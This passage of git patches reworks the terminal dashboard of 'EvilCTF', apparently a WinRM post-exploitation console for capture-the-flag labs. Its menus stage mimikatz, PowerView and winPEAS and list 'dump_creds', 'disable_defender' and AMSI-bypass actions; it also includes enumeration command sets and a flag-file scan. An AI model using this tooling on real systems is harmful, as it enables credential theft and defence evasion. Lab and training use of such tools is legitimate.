= !expanded[menu_index] + child_index = 0 + end elsif focus == :center cmd = prompt.ask('PS> ', default: '') break if cmd.nil? || cmd.strip.downcase == 'exit' From e973edad6ff228edf6abb44083e270c83e8e851a Mon Sep 17 00:00:00 2001 From: giveen Date: Tue, 6 Jan 2026 08:04:02 -0700 Subject: [PATCH 11/17] tui: add Rainfrog-style TTY dashboard with live panels and session streaming - render_fixed_layout: three-column dashboard (menu, CLI, meta)\n- start_rainfrog: interactive loop (r refresh, q quit, n new session, c run command)\n- sessions & stream_buffer tracking for background sessions and streaming output\n- run_enumeration helper retained\n --- lib/evil_ctf/banner.rb | 25 +- lib/evil_ctf/tui.rb | 794 ++++++++++++---------------------- scripts/test_banner_mock.rb | 30 ++ scripts/test_tui_dashboard.rb | 23 + 4 files changed, 339 insertions(+), 533 deletions(-) create mode 100644 scripts/test_banner_mock.rb create mode 100644 scripts/test_tui_dashboard.rb diff --git a/lib/evil_ctf/banner.rb b/lib/evil_ctf/banner.rb index 98f7a44..5a4b63b 100644 --- a/lib/evil_ctf/banner.rb +++ b/lib/evil_ctf/banner.rb @@ -63,17 +63,22 @@ def self.risk_text(score) # Show banner with optional color def self.show_banner(shell, options, mode: :minimal, no_color: false) # If the user requested the TUI, attempt to launch it and return. - if options && (options[:tui] || options[:use_tui] || ENV['EVILCTF_TUI'] == '1') - begin - require 'evil_ctf/tui' - EvilCTF::TUI.start(shell, options) - rescue LoadError - puts " [!] TTY TUI not available. Install tty gems to enable TUI.".yellow - rescue => e - puts " [!] Failed to start TUI: #{e.message}".red + if options && (options[:tui] || options[:use_tui] || ENV['EVILCTF_TUI'] == '1') + begin + require 'evil_ctf/tui' + # Prefer the interactive Rainfrog-like loop when available + if EvilCTF::TUI.respond_to?(:start_rainfrog) + EvilCTF::TUI.start_rainfrog(shell, options) + else + EvilCTF::TUI.start(shell, options) + end + rescue LoadError + puts " [!] TTY TUI not available. Install tty gems to enable TUI.".yellow + rescue => e + puts " [!] Failed to start TUI: #{e.message}".red + end + return end - return - end # Disable color if requested if no_color # Use plain text diff --git a/lib/evil_ctf/tui.rb b/lib/evil_ctf/tui.rb index 52ec4c3..302530d 100644 --- a/lib/evil_ctf/tui.rb +++ b/lib/evil_ctf/tui.rb @@ -1,577 +1,325 @@ -# Minimal TTY Toolkit-safe TUI prototype for EvilCTF -# This file is intentionally resilient if TTY gems are not installed. - module EvilCTF class TUI - def self.start(shell = nil, options = {}) - begin - require 'tty-prompt' - require 'tty-table' - require 'tty-screen' - rescue LoadError - puts "TTY gems not installed. Install tty-prompt, tty-table, tty-screen to enable the TUI.".yellow - return - end - - prompt = TTY::Prompt.new - - loop do - # Render only the header (title, menus, actions) so prompt appears at top - render_dashboard_header(shell, options) - - choice = prompt.select('Main Menu', ['Actions Menu', 'Flag Scan', 'Exit']) - - case choice - when 'Actions Menu' - sub = prompt.select('Actions Menu', [ - 'Run Command', 'Upload File', 'Download File', 'Stage Tool', 'Execute Tool', - 'AMSI/ETW Bypass', 'System Recon', 'Open Interactive Shell', 'Back' - ]) - case sub - when 'Run Command' - prompt.keypress('Run Command selected - press any key to continue') - when 'Upload File' - prompt.keypress('Upload File selected - press any key to continue') - when 'Download File' - prompt.keypress('Download File selected - press any key to continue') - when 'Stage Tool' - prompt.keypress('Stage Tool selected - press any key to continue') - when 'Execute Tool' - prompt.keypress('Execute Tool selected - press any key to continue') - when 'AMSI/ETW Bypass' - prompt.keypress('AMSI/ETW Bypass selected - press any key to continue') - when 'System Recon' - prompt.keypress('System Recon selected - press any key to continue') - when 'Open Interactive Shell' - prompt.keypress('Open Interactive Shell selected - press any key to continue') - when 'Back' - # return to main menu - end - when 'Flag Scan' - rows = run_flag_scan(shell) - if rows.empty? - puts "\nNo flags found.".white - prompt.keypress('Press any key to continue') - else - table = TTY::Table.new(['Path', 'Value'], rows) - puts table.render(:unicode) - prompt.keypress('Press any key to continue') - end - when 'Exit' - break - end + # Simple in-memory trackers for sessions started via the TUI and a small + # streaming output buffer used by the CLI pane. + def self.sessions + @sessions ||= [] + end - # After selection, render the main dashboard body below - render_dashboard_body(shell, options) - end + def self.stream_buffer + @stream_buffer ||= [] end - # Public helper to run the same optimized flag scan as the banner and - # return an array of [path, value] rows. - def self.run_flag_scan(shell) - ps = <<~POWERSHELL - $found_flags = @{} - $search_locations = @( - "C:\\flag.txt", "C:\\user.txt", "C:\\root.txt", - "C:\\Users\\*\\Desktop\\flag.txt", - "C:\\Users\\*\\Desktop\\user.txt", - "C:\\Users\\*\\Desktop\\root.txt", - "C:\\Users\\*\\Documents\\flag.txt", - "C:\\Users\\*\\Downloads\\flag.txt" - ) + # Render a fixed 3-column layout (left menu, center CLI, right meta) + # Accepts optional `sessions` (array) and `stream_lines` to display + # live data in the panels. + def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = []) + cols = (TTY::Screen.width rescue 100) + total = [cols, 120].min - foreach ($location in $search_locations) { - try { - Get-ChildItem -Path $location -ErrorAction SilentlyContinue | ForEach-Object { - $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue - if ($content -and $content.Trim() -and $content.Trim().Length -lt 500) { - if (-not $found_flags.ContainsKey($_.FullName)) { - $found_flags[$_.FullName] = $content.Trim() - } - } - } - } catch { } - } + left_w = 28 + right_w = 24 + center_w = total - left_w - right_w - 6 # borders + spacing - $user_dirs = @("Desktop", "Documents", "Downloads") - foreach ($user_dir in $user_dirs) { - try { - Get-ChildItem "C:\\Users\\*\\$user_dir\\*" -Include "flag*", "user.txt", "root.txt" -Recurse -Depth 1 -ErrorAction SilentlyContinue | ForEach-Object { - $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue - if ($content -and $content.Trim() -and $content.Trim().Length -lt 500) { - if (-not $found_flags.ContainsKey($_.FullName)) { - $found_flags[$_.FullName] = $content.Trim() - } - } - } - } catch { } - } + # Top bar + puts "┌" + "─" * (total - 2) + "┐" + puts "│ AWINRM OPERATOR CONSOLE".ljust(total - 1) + "│" + meta = "Host: #{state[:host] || 'N/A'} Status: #{state[:connected] ? 'Connected' : 'Disconnected'} Shell: #{state[:shell] || 'PowerShell'} SSL: #{state[:ssl] ? 'OK' : 'UNVERIFIED'}" + puts "│ #{meta.ljust(total - 4)} │" + puts "└" + "─" * (total - 2) + "┘" + + # Pane headers + puts "┌" + "─" * (left_w) + "┬" + "─" * (center_w) + "┬" + "─" * (right_w) + "┐" + puts "│ MENU (Alt+1)".ljust(left_w + 1) + + "│ INTERACTIVE CLI (Alt+2)".ljust(center_w + 1) + + "│ META ".ljust(right_w + 1) + "│" + puts "├" + "─" * (left_w) + "┼" + "─" * (center_w) + "┼" + "─" * (right_w) + "┤" + + # Left menu content + left = [ + "Sessions", + " Active Sessions", + " New Session", + " Close Session", + "", + "Tools", + " Recon", + " Credential Access", + " Lateral Movement", + " Enumeration", + " Upload / Download", + "", + "Macros", + " recon_basic", + " recon_full", + " dump_creds", + " disable_defender", + "", + "Profiles", + " default.yml", + " ctf.yml", + " prod.yml", + "", + "Settings", + " SSL Verification", + " Logging", + " Shell Adapter", + " Paths" + ] - $found_flags.GetEnumerator() | ForEach-Object { - Write-Output "FLAGFOUND|||$($_.Key)|||$($_.Value)" - } - POWERSHELL + # Center CLI content (inject streaming output at the bottom) + center = [ + "PS> whoami", + (shell && (shell.run('whoami').output.strip rescue 'demo\\user')) || 'demo\\user', + "", + "PS> systeminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\"", + "OS Name: Microsoft Windows Server 2019 Standard", + "OS Version: 10.0.17763", + "", + "PS> upload_file C:\\Tools\\SharpHound.exe", + "[██████████░░░░░░░░░░░░░░░] 48% Chunk 12/25", + "", + "[history] recon_basic" + ] - begin - result = shell.run(ps) - rescue => e - return [] + # Append latest stream lines (keep center area informative) + if stream_lines && !stream_lines.empty? + center << "" + stream_lines.last(6).each do |ln| + center << ln.to_s + end + else + center << "[streaming output continues]" end - rows = [] - require 'set' - seen = Set.new - result.output.each_line do |line| - next unless line.include?("FLAGFOUND|||") - path, value = line.strip.split('|||', 3)[1..2] - next unless path - key = path.strip - next if seen.include?(key) - seen << key - rows << [path.strip, (value || '').strip] + # Right meta panel (show active sessions) + right = ["Active Sessions:"] + if sessions && !sessions.empty? + sessions.each do |s| + status = s[:thread] && s[:thread].alive? ? 'running' : 'stopped' + right << " - #{s[:ip]} (#{s[:user]}) [#{status}]" + end + else + right << " (none)" + end + right << "" + right << "Last Scan: 00:12" + right << "" + right << "Alerts:" + right << " [!] 2 pending" + right << "" + right << "Mode:" + right << " NORMAL" + right << " (i = insert, v = visual)" + + # Render rows + max_rows = [left.size, center.size, right.size].max + max_rows.times do |i| + l = left[i] || "" + c = center[i] || "" + r = right[i] || "" + + print "│ #{l.ljust(left_w - 1)}" + print "│ #{c.ljust(center_w - 1)}" + print "│ #{r.ljust(right_w - 1)}│\n" end - rows - end - - # Keep old combined renderer for compatibility: header + body - def self.render_dashboard(shell, options) - render_dashboard_header(shell, options) - render_dashboard_body(shell, options) - end - - def self.render_dashboard_header(shell, options) - cols = (TTY::Screen.width rescue 80) - header = ' AWINRM OPERATOR CONSOLE ' - hn = (shell.run('hostname').output.strip rescue 'Unknown') - ip = options[:ip] || 'N/A' - host = "Host: #{hn} (#{ip})" - - box_width = [cols, 100].min - left_w = [24, (box_width * 0.20).floor].max - center_w = box_width - left_w - 3 + puts "└" + "─" * (left_w) + "┴" + "─" * (center_w) + "┴" + "─" * (right_w) + "┘" - # Title box - puts "┌" + "─" * (box_width - 2) + "┐" - puts "│" + header.center(box_width - 2) + "│" - puts "│" + host.center(box_width - 2) + "│" - puts "└" + "─" * (box_width - 2) + "┘" + # Results pane puts + puts "┌" + "─" * (total - 2) + "┐" + puts "│ RESULTS (Alt+3)".ljust(total - 1) + "│" + puts "├" + "─" * (total - 2) + "┤" + puts "│ Command: recon_basic".ljust(total - 1) + "│" + puts "│ ------------------------------------------------------------".ljust(total - 1) + "│" + puts "│ [+] Hostname: WIN-CTF-01".ljust(total - 1) + "│" + puts "│ [+] Domain: CONTOSO".ljust(total - 1) + "│" + puts "│ [+] Logged-on users: Administrator".ljust(total - 1) + "│" + puts "│ [+] High-value targets: DC01, SQL01".ljust(total - 1) + "│" + puts "│ [+] Defender status: Enabled".ljust(total - 1) + "│" + puts "└" + "─" * (total - 2) + "┘" - # Two-column header: left = MENU, center = TERMINAL - puts "─" * box_width - left_title = ' MENU ' - center_title = ' TERMINAL ' - puts left_title.ljust(left_w) + ' ' * 3 + center_title.rjust(center_w) - puts "─" * box_width + # Footer + footer = "[R] refresh [j] down [k] up [/] search [g] top [G] bottom [F1] Sessions [F2] CLI [F3] Results" + puts footer.center(total) end - def self.render_dashboard_body(shell, options) - cols = (TTY::Screen.width rescue 80) - box_width = [cols, 100].min - left_w = [24, (box_width * 0.20).floor].max - center_w = box_width - left_w - 3 + def self.render_dashboard(shell, state = {}) + cols = (TTY::Screen.width rescue 100) + total = [cols, 100].min - # Left: vertical menu / commands - menu_lines = [] - menu_lines << 'Actions:' - menu_lines << ' 1) Open Actions Menu' - menu_lines << ' 2) Sessions' - menu_lines << ' 3) Tools' - menu_lines << ' 4) Loot' - menu_lines << ' 5) Macros' - menu_lines << ' 6) Profiles' - menu_lines << ' 7) Logs' - menu_lines << '' - menu_lines << 'Commands:' - menu_lines << ' r) Run Command' - menu_lines << ' u) Upload Tool' - menu_lines << '' + puts "┌" + "─" * (total - 2) + "┐" + puts "│ EvilCTF Dashboard".ljust(total - 1) + "│" + puts "├" + "─" * (total - 2) + "┤" - # Center: terminal-like output - center_lines = [] - center_lines << 'PS> whoami' - center_lines << (shell.run('whoami').output.strip rescue '') - center_lines << '' - center_lines << 'PS> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"' - center_lines += (shell.run('systeminfo | findstr /B /C:"OS Name" /C:"OS Version"').output.strip rescue '').lines.map(&:chomp) - center_lines << '' - center_lines << 'STATUS: ✔ Connected ✔ Shell Ready' + host = state[:host] || 'N/A' + user = (shell.run('whoami').output.strip rescue 'N/A') + os_info = (shell.run('systeminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\"').output.strip rescue 'N/A') - max_lines = [menu_lines.size, center_lines.size].max - (0...max_lines).each do |i| - l = menu_lines[i] || '' - c = center_lines[i] || '' - print l.ljust(left_w) - print ' ' * 3 - puts c.ljust(center_w) - end + puts "│ Host: #{host.ljust(total - 10)}│" + puts "│ User: #{user.ljust(total - 10)}│" + puts "│ #{os_info.ljust(total - 4)} │" - puts "─" * box_width + puts "├" + "─" * (total - 2) + "┤" + puts "│ Connection Status: #{state[:connected] ? 'Connected' : 'Disconnected'}".ljust(total - 1) + "│" + puts "│ Shell Type: #{state[:shell] || 'PowerShell'}".ljust(total - 1) + "│" + puts "│ SSL Verification: #{state[:ssl] ? 'OK' : 'UNVERIFIED'}".ljust(total - 1) + "│" + puts "└" + "─" * (total - 2) + "┘" end - # Demo mode: replay a scripted, live-updating dashboard for visual testing - def self.demo(_shell = nil, options = {}) - demo_shell = Object.new - def demo_shell.run(cmd) - case cmd - when 'hostname' - Struct.new(:output).new("demo-host\n") - when '[Security.Principal.WindowsIdentity]::GetCurrent().Name' - Struct.new(:output).new("Demo\\User\n") - when 'whoami /groups' - Struct.new(:output).new("Users\n") - when 'whoami' - Struct.new(:output).new("demo\\user\n") - when /systeminfo/ - Struct.new(:output).new("OS Name: DemoOS\nOS Version: 1.0\n") - else - Struct.new(:output).new("\n") - end - end - - cols = (TTY::Screen.width rescue 80) - box_width = [cols, 100].min - left_w = [24, (box_width * 0.20).floor].max - center_w = box_width - left_w - 3 - - # scripted right-panel events - events = [ - "Initializing quick scan...", - "FLAGFOUND: C:\\Users\\Alice\\Desktop\\flag.txt flag{demo}", - "Scanning Profiles...", - "Found suspicious file: C:\\Users\\Bob\\Documents\\user.txt", - "FLAGFOUND: C:\\Users\\Bob\\Documents\\user.txt flag{bob}", - "Upload complete: tool.exe (12KB)", - "Integrity check passed" - ] - - # progressively render frames - right_buffer = [] - events.each_with_index do |ev, idx| - right_buffer << ev - system('clear') rescue nil - render_dashboard_header(demo_shell, options) - - - menu_lines = [ - "Actions:", - " 1) Open Actions Menu", - " 2) Sessions", - " 3) Tools", - " 4) Loot", - " 5) Macros", - " 6) Profiles", - " 7) Logs", - "", - ] - - max_lines = [menu_lines.size, right_buffer.size].max - (0...max_lines).each do |i| - l = menu_lines[i] || '' - r = right_buffer[i] || '' - print l.ljust(left_w) - print ' ' * 3 - puts r.ljust(center_w) - end - - puts "─" * box_width - sleep 0.55 + def self.run_enumeration(shell, type, cache = {}) + if cache[type] + puts "[*] Using cached enumeration for #{type}".colorize(:cyan) + puts cache[type] + return end - puts "\nDemo complete. Press Enter to exit." - STDIN.gets rescue nil - end - - # Render a full Rainfrog-inspired layout once (non-interactive preview) - def self.render_full_layout_once(shell, state = {}) - cols = (TTY::Screen.width rescue 80) - box_width = [cols, 120].min - left_w = [24, (box_width * 0.20).floor].max - center_w = box_width - left_w - 3 - - # Top bar - top = " AWINRM OPERATOR CONSOLE " - host = state[:host] || (shell && (shell.run('hostname').output.strip rescue 'Unknown')) || 'N/A' - status = state[:connected] ? 'Connected' : 'Disconnected' - shell_type = state[:shell] || 'PowerShell' - ssl = state[:ssl] ? 'OK' : 'UNVERIFIED' - - puts "┌" + "─" * (box_width - 2) + "┐" - puts "│ " + top.ljust(box_width - 4) + " │" - meta = "Host: #{host} Status: #{status} Shell: #{shell_type} SSL: #{ssl}" - puts "│ " + meta.ljust(box_width - 4) + " │" - puts "└" + "─" * (box_width - 2) + "┘" - - # Main panes header - puts - puts "┌" + "─" * (box_width - 2) + "┐" - left_title = ' MENU (Alt+1) ' - center_title = ' INTERACTIVE CLI (Alt+2) ' - right_title = ' META ' - puts "│" + left_title.ljust(left_w) + ' ' * 3 + center_title.center(center_w) + " │" - puts "├" + "─" * (box_width - 2) + "┤" - - # Sample left menu + center content - menu_lines = [ - 'Sessions', - ' Active Sessions', - ' New Session', - ' Close Session', - '', - 'Tools', - ' Recon', - ' Credential Access', - ' Lateral Movement', - ' Enumeration', - ' Upload / Download', - '', - 'Macros', - ' recon_basic', - ' recon_full', - ' dump_creds', - ' disable_defender', - '', - 'Profiles', - ' default.yml', - ' ctf.yml', - ' prod.yml', - '', - 'Settings', - ' SSL Verification', - ' Logging', - ' Shell Adapter', - ' Paths' - ] - - center_lines = [ - 'PS> whoami', - (shell && (shell.run('whoami').output.strip rescue '')) || 'WIN-CTF-01\\Administrator', - '', - 'PS> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"', - 'OS Name: Microsoft Windows Server 2019 Standard', - 'OS Version: 10.0.17763', - '', - 'PS> upload_file C:\\Tools\\SharpHound.exe', - '[██████████░░░░░░░░░░░░░░░] 48% Chunk 12/25', - '', - '[command history] recon_basic', - '[streaming output continues below]' - ] - - max_lines = [menu_lines.size, center_lines.size].max - (0...max_lines).each do |i| - l = menu_lines[i] || '' - c = center_lines[i] || '' - print '│ ' - print l.ljust(left_w - 2) - print ' ' * 3 - print c.ljust(center_w) - puts ' │' + puts "[*] Running #{type} enumeration...".colorize(:cyan) + + cmds = case type + when 'basic' + ['whoami /all', 'net user', 'systeminfo'] + when 'network' + ['ipconfig /all', 'netstat -ano'] + when 'privilege' + ['whoami /priv', 'net localgroup Administrators', 'net share', 'tasklist /v'] + when 'av_check' + ['powershell "Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled,AntivirusEnabled,AMServiceEnabled"', 'sc query WinDefend'] + when 'persistence' + ['schtasks /query /fo LIST /v', 'reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"'] + when 'deep' + [ + 'whoami /all', + 'systeminfo', + 'net user', + 'net localgroup Administrators', + 'tasklist /v', + 'sc query state= all', + 'wmic product get Name,Version,InstallDate' + ] + else + ['systeminfo'] + end + + output = '' + cmds.each do |cmd| + result = shell.run(cmd) + output += "\n> #{cmd}\n" + output += result.output.to_s + output += "\n" end - puts "└" + "─" * (box_width - 2) + "┘" - - # Bottom results pane - puts - puts "┌" + "─" * (box_width - 2) + "┐" - puts "│ RESULTS (Alt+3)".ljust(box_width - 1) + "│" - puts "├" + "─" * (box_width - 2) + "┤" - puts "│ Command: recon_basic".ljust(box_width - 1) + "│" - puts "│ ------------------------------------------------------------".ljust(box_width - 1) + "│" - puts "│ [+] Hostname: WIN-CTF-01".ljust(box_width - 1) + "│" - puts "│ [+] Domain: CONTOSO".ljust(box_width - 1) + "│" - puts "│ [+] Logged-on users: Administrator".ljust(box_width - 1) + "│" - puts "│ [+] High-value targets: DC01, SQL01".ljust(box_width - 1) + "│" - puts "│ [+] Defender status: Enabled".ljust(box_width - 1) + "│" - puts "└" + "─" * (box_width - 2) + "┘" - - # Footer - footer = "[R] refresh [j] down [k] up [/] search [g] top [G] bottom [F1] Sessions [F2] CLI [F3] Results" - puts footer.center(box_width) + cache[type] = output + puts output end - # Starter interactive Rainfrog-like loop (minimal): left menu navigation + CLI input + # Lightweight interactive dashboard loop. Shows live info from `shell` and + # supports manual refresh ('r') and quit ('q'). Resilient if TTY gems are + # missing — will still render once and exit. def self.start_rainfrog(shell = nil, options = {}) begin - require 'tty-prompt' require 'tty-screen' require 'tty-reader' rescue LoadError - puts "TTY gems not installed. Install tty-prompt, tty-screen and tty-reader to enable the TUI.".yellow + # Render once and return if tty gems aren't available + render_fixed_layout(shell, host: (shell && (shell.run('hostname').output.strip rescue nil)), connected: !!shell, shell: (options[:shell] || 'PowerShell'), ssl: options[:ssl]) return end - prompt = TTY::Prompt.new reader = TTY::Reader.new - state = { host: (shell && (shell.run('hostname').output.strip rescue nil)), connected: !!shell, shell: 'PowerShell', ssl: true } - history = [] - results = [] - - # Menu model: simple tree - menu = [ - { title: 'Sessions', children: ['Active Sessions', 'New Session', 'Close Session'] }, - { title: 'Tools', children: ['Recon', 'Credential Access', 'Lateral Movement', 'Enumeration', 'Upload / Download'] }, - { title: 'Macros', children: ['recon_basic', 'recon_full', 'dump_creds', 'disable_defender'] }, - { title: 'Profiles', children: ['default.yml', 'ctf.yml', 'prod.yml'] }, - { title: 'Settings', children: ['SSL Verification', 'Logging', 'Shell Adapter', 'Paths'] } - ] - - focus = :center # :left, :center, :results, :history, :favorites - menu_index = 0 - child_index = 0 - expanded = {} + should_exit = false + + while !should_exit + # Build state safely from shell + state = {} + begin + state[:host] = shell && (shell.run('hostname').output.strip rescue nil) + rescue + state[:host] = nil + end + begin + state[:user] = shell && (shell.run('[Security.Principal.WindowsIdentity]::GetCurrent().Name').output.strip rescue nil) + rescue + state[:user] = nil + end + state[:connected] = !!shell + state[:shell] = options[:shell] || 'PowerShell' + state[:ssl] = !!options[:ssl] - loop do system('clear') rescue nil - render_full_layout_once(shell, state) + render_fixed_layout(shell, state, self.sessions, self.stream_buffer) + + # Read a single key and react + key = nil + begin + if reader.respond_to?(:read_key) + key = reader.read_key + elsif reader.respond_to?(:read_char) + key = reader.read_char + else + key = STDIN.getch rescue nil + end + rescue Interrupt + should_exit = true + break + rescue => _e + # Non-fatal — allow refresh or quit via Enter + key = nil + end - key = reader.read_key case key - when :ctrl_c - break - when :f1 - focus = :left - when :f2 - focus = :center - when :f3 - focus = :results - when :f4 - focus = :history - when :f5 - focus = :favorites - when :up, :arrow_up, 'k' - if focus == :left - if expanded[menu_index] && child_index > 0 - child_index -= 1 + when 'q', 'Q', :ctrl_c + should_exit = true + when 'r', 'R' + next + when 'n', 'N' + # Start a new background session via prompt + begin + prompt = (defined?(TTY::Prompt) ? TTY::Prompt.new : nil) + ip = prompt ? prompt.ask('Target IP:') : (print('Target IP: '); STDIN.gets&.strip) + user = prompt ? prompt.ask('User:', default: 'Administrator') : (print('User [Administrator]: '); (STDIN.gets&.strip || 'Administrator')) + pass = nil + if prompt + pass = prompt.mask('Password:') else - menu_index = [0, menu_index - 1].max - child_index = 0 + print 'Password: ' + pass = STDIN.noecho(&:gets).to_s.strip rescue STDIN.gets.to_s.strip + puts end - end - when :down, :arrow_down, 'j' - if focus == :left - if expanded[menu_index] - max_child = menu[menu_index][:children].size - 1 - if child_index < max_child - child_index += 1 - else - menu_index = [menu.size - 1, menu_index + 1].min - child_index = 0 + t = Thread.new do + begin + Session.run_session({ ip: ip, user: user, password: pass, ssl: false, banner_mode: :minimal }) + rescue => e + puts "[!] Failed to start session: #{e.message}" end - else - menu_index = [menu.size - 1, menu_index + 1].min - child_index = 0 end + self.sessions << { ip: ip, user: user, thread: t, started_at: Time.now } + rescue => e + # ignore prompt failures end - when :return - if focus == :left - if expanded[menu_index] - # execute selected child action - selected = menu[menu_index][:children][child_index] - case menu[menu_index][:title] - when 'Sessions' - case selected - when 'Active Sessions' - if shell - puts "\n[*] Active session info:\n" - puts shell.run('whoami').output - puts shell.run('hostname').output - prompt.keypress('Press any key to continue', keys: [:any]) - else - prompt.keypress('No active shell. Start a session first.', keys: [:any]) - end - when 'New Session' - # prompt for minimal connection info and spawn session in a thread - ip = prompt.ask('Target IP: ') - user = prompt.ask('User: ', default: 'Administrator') - pass = prompt.mask('Password: ') - Thread.new do - begin - opts = { ip: ip, user: user, password: pass, ssl: false } - EvilCTF::Session.run_session(opts) - rescue => e - puts "[!] Failed to start session: #{e.message}" - end - end - prompt.keypress('Session start initiated (background). Press any key.', keys: [:any]) - when 'Close Session' - prompt.keypress('Close session not implemented in TUI (use CLI).', keys: [:any]) - end - when 'Tools' - case selected - when 'Recon' - if shell - EvilCTF::Tools.safe_autostage('powerview', shell, {}, nil) - prompt.keypress('Recon tool staged/executed. Press any key.', keys: [:any]) - else - prompt.keypress('No active shell to run Recon.', keys: [:any]) - end - when 'Credential Access' - if shell - EvilCTF::Tools.safe_autostage('mimikatz', shell, {}, nil) - prompt.keypress('Credential tool staged. Press any key.', keys: [:any]) - else - prompt.keypress('No active shell to stage tools.', keys: [:any]) - end - when 'Lateral Movement' - prompt.keypress('Lateral Movement helper not yet wired.', keys: [:any]) - when 'Enumeration' - if shell - EvilCTF::Tools.safe_autostage('winpeas', shell, {}, nil) - prompt.keypress('Enumeration staged. Press any key.', keys: [:any]) - else - prompt.keypress('No active shell to run enumeration.', keys: [:any]) - end - when 'Upload / Download' - if shell - EvilCTF::Uploader.file_operations_menu(shell) - else - prompt.keypress('No active shell for file operations.', keys: [:any]) - end - end - when 'Macros' - if shell - cm = EvilCTF::Tools::CommandManager.new - if cm.expand_macro(selected, shell) - prompt.keypress("Macro #{selected} executed. Press any key.", keys: [:any]) - else - prompt.keypress("Macro #{selected} not found or failed.", keys: [:any]) - end - else - prompt.keypress('No active shell to run macros.', keys: [:any]) - end - when 'Profiles' - prompt.keypress("Profile selection not yet implemented.", keys: [:any]) - when 'Settings' - case selected - when 'SSL Verification' - state[:ssl] = !state[:ssl] - prompt.keypress("SSL verification toggled to #{state[:ssl]}.", keys: [:any]) - else - prompt.keypress('Setting change not implemented.', keys: [:any]) - end + next + when 'c', 'C' + # Run a command on the provided shell (if present) and append output to stream buffer + if shell + begin + cmd = (defined?(TTY::Prompt) ? TTY::Prompt.new.ask('PS>') : (print 'PS> '; STDIN.gets&.strip)) + if cmd && !cmd.strip.empty? + res = shell.run(cmd) + out = res.output.to_s + out.lines.each { |ln| self.stream_buffer << "#{cmd} -> #{ln.chomp}" } + # keep buffer bounded + self.stream_buffer.shift while self.stream_buffer.size > 300 end - else - expanded[menu_index] = !expanded[menu_index] - child_index = 0 + rescue => e + self.stream_buffer << "[!] Command error: #{e.message}" end - elsif focus == :center - cmd = prompt.ask('PS> ', default: '') - break if cmd.nil? || cmd.strip.downcase == 'exit' - next if cmd.strip.empty? - history << cmd - if cmd.start_with?('upload') - results << "Uploading: #{cmd.split.last}" - else - out = (shell && (shell.run(cmd).output rescue '')) || "[simulated output for: #{cmd}]" - results << "#{cmd} -> #{out.to_s.lines.first.to_s.strip}" - end - prompt.keypress('Press any key to continue', keys: [:any]) + else + self.stream_buffer << "[!] No active shell to run commands" end - when '/' - prompt.ask('Search menu: ') - when 'r' + next + else + # any other key refreshes next end end diff --git a/scripts/test_banner_mock.rb b/scripts/test_banner_mock.rb new file mode 100644 index 0000000..50a2232 --- /dev/null +++ b/scripts/test_banner_mock.rb @@ -0,0 +1,30 @@ +#!/usr/bin/env ruby +# Quick safe test of EvilCTF::Banner.show_banner using a mock shell + $LOAD_PATH.unshift(File.expand_path('../', __dir__)) +require 'ostruct' +# Ensure base module exists for nested module definition in banner +module EvilCTF; end unless defined?(EvilCTF) +require 'lib/evil_ctf/banner' + +class MockShell + def run(cmd) + case cmd + when 'hostname' + OpenStruct.new(output: "TEST-HOST\n") + when /Get-WmiObject Win32_ComputerSystem/ + OpenStruct.new(output: "TestDomain\n") + when /whoami .*priv/, /whoami \/priv/ + OpenStruct.new(output: "SeDebugPrivilege Enabled\n") + when /\(Get-MpComputerStatus\).RealTimeProtectionEnabled/ + OpenStruct.new(output: "False\n") + else + OpenStruct.new(output: "") + end + end +end + +puts "Running mock banner test (minimal mode)..." +EvilCTF::Banner.show_banner(MockShell.new, {ssl: false, port: 5985, hash: false}, mode: :minimal) + +puts "\nRunning mock banner test (expanded mode)..." +EvilCTF::Banner.show_banner(MockShell.new, {ssl: false, port: 5985, hash: false}, mode: :expanded) diff --git a/scripts/test_tui_dashboard.rb b/scripts/test_tui_dashboard.rb new file mode 100644 index 0000000..0908bf3 --- /dev/null +++ b/scripts/test_tui_dashboard.rb @@ -0,0 +1,23 @@ +#!/usr/bin/env ruby +# Test the dashboard render with a mock shell +$LOAD_PATH.unshift(File.expand_path('../', __dir__)) +require 'ostruct' +module EvilCTF; end unless defined?(EvilCTF) +require 'lib/evil_ctf/tui' + +class MockShell + def run(cmd) + case cmd + when 'hostname' + OpenStruct.new(output: "WIN-CTF-01\n") + when /whoami/ + OpenStruct.new(output: "WIN-CTF-01\\Administrator\n") + when /systeminfo / + OpenStruct.new(output: "OS Name: Microsoft Windows Server 2019 Standard\nOS Version: 10.0.17763 N/A Build 17763\n") + else + OpenStruct.new(output: "") + end + end +end + +EvilCTF::TUI.render_dashboard(MockShell.new, {ip: '10.0.0.5', ssl: true}) From 6cf289d36c57ca0f0ea41a6061e235792a170c13 Mon Sep 17 00:00:00 2001 From: giveen Date: Wed, 11 Feb 2026 13:17:09 -0700 Subject: [PATCH 12/17] Add execution, app_state, utils modules and refactor session/tools/tui for TUI support --- .github/instructions/todos.instructions.md | 10 + lib/evil_ctf/app_state.rb | 141 ++++++ lib/evil_ctf/connection.rb | 18 +- lib/evil_ctf/execution.rb | 144 ++++++ lib/evil_ctf/logger.rb | 15 +- lib/evil_ctf/session.rb | 99 ++-- lib/evil_ctf/tools.rb | 28 +- lib/evil_ctf/tui.rb | 548 +++++++++++++++------ lib/evil_ctf/uploader.rb | 24 +- lib/evil_ctf/uploader/client.rb | 73 ++- lib/evil_ctf/utils.rb | 11 + 11 files changed, 891 insertions(+), 220 deletions(-) create mode 100644 .github/instructions/todos.instructions.md create mode 100644 lib/evil_ctf/app_state.rb create mode 100644 lib/evil_ctf/execution.rb create mode 100644 lib/evil_ctf/utils.rb diff --git a/.github/instructions/todos.instructions.md b/.github/instructions/todos.instructions.md new file mode 100644 index 0000000..52b9607 --- /dev/null +++ b/.github/instructions/todos.instructions.md @@ -0,0 +1,10 @@ +--- +applyTo: '**' +--- + + + +- No todos yet. Call the `todo_write` tool to plan your tasks before starting any work. + + + diff --git a/lib/evil_ctf/app_state.rb b/lib/evil_ctf/app_state.rb new file mode 100644 index 0000000..6b1fe0c --- /dev/null +++ b/lib/evil_ctf/app_state.rb @@ -0,0 +1,141 @@ +require 'thread' + +module EvilCTF + class AppState + def self.instance + @instance ||= new + end + + def initialize + @mutex = Mutex.new + @sessions = 